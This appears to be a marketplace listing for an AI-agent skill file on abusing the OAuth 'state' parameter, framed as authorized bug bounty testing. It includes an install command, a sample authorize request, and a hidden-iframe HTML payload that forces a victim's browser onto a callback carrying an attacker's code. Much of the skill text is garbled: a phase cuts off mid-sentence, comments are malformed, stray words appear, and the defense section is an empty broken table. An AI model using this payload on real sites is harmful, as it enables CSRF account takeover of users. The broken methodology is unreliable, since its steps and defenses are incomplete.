agentsclimarketplace
Sign in

Oauth state parameter abuse

Skill ShulkwiSEC/bb-huge/skills/curated/oauth-state-parameter-abuse

Identify and exploit logic flaws in OAuth implementations, focusing specifically on the absence or improper validation of the `state` parameter, which leads to Cross-Site Request Forgery (CSRF) and account takeover (ATO).From its SKILL.md

Install
npx -y skills add ShulkwiSEC/bb-huge --skill oauth-state-parameter-abuse

Assembled from the repository path, not quoted from the project. Check it against their README if it does not work.

One thing to look at

  • 21 stars21 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.

What its file declares

Copied from the file, not written here

The file declares its own license as Apache-2.0. That is the author’s claim about this one file, and it is not the same thing as the license GitHub reports for the repository, which is listed with the other numbers below.

SKILL.md

4.0 KB, 838 tokens by cl100k_base, as published. Nobody here has run it

OAuth State Parameter Abuse

When to Use

  • When auditing web applications that use "Log in with [Google/Facebook/GitHub]" (OAuth 2.0 / OpenID Connect) or allow linking third-party accounts.
  • To test if the application is susceptible to CSRF attacks during the OAuth authorization flow, enabling attackers to link their own external accounts to a victim's session.

Prerequisites

  • Authorized scope and target URLs from bug bounty program
  • Burp Suite Professional (or Community) configured with browser proxy
  • Familiarity with OWASP Top 10 and common web vulnerability classes
  • SecLists wordlists for fuzzing and enumeration

Workflow

Phase 1: Initiating the OAuth Flow

# Concept: The `state` parameter is ```

### Phase 2: Intercepting the Authorization Request

```http
# # beautifully GET /oauth/authorize?response_type=code&client_id=12345&redirect_uri=https%3A%2F%2Ftarget.com%2Fcallback&scope=email%20profile HTTP/1.1
Host: provider.com

Phase 3: Capturing the Callback (The CSRF Payload)

# https://target.com/callback?code=SPLIT_SECOND_CODE_FROM_ATTACKER

Phase 4: Delivering the Payload (Exploitation)

<!-- >
<html>
  <body>
    <!-- >
    <iframe src="https://target.com/callback?code=ATTACKER_UNPUBLISHED_CODE" style="display:none;"></iframe>
  </body>
</html>

Decision Point 🔀

flowchart TD
    A[Start OAuth ] --> B{State Parameter ]}
    B -->|Missing/Static| C[Capture Callback ]
    B -->|Verified| D[Check Logic ]
    C --> E[Exploit CSRF ]

🔵 Blue Team Detection & Defense

  • Strict State Validation: PKCE (Proof Key for Code Exchange): Key Concepts | Concept | Description | |---------|-------------|

Output Format

Oauth State Parameter Abuse — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

References

What ships with it: 2 files

8.3 KB alongside SKILL.md, 1 of them executable

evals/

scripts/

Keep looking

Skills are one crate of 325,949. Ordering is by how many stacks a row turns up in, so the top of any crate is what has actually been picked rather than what has the most stars.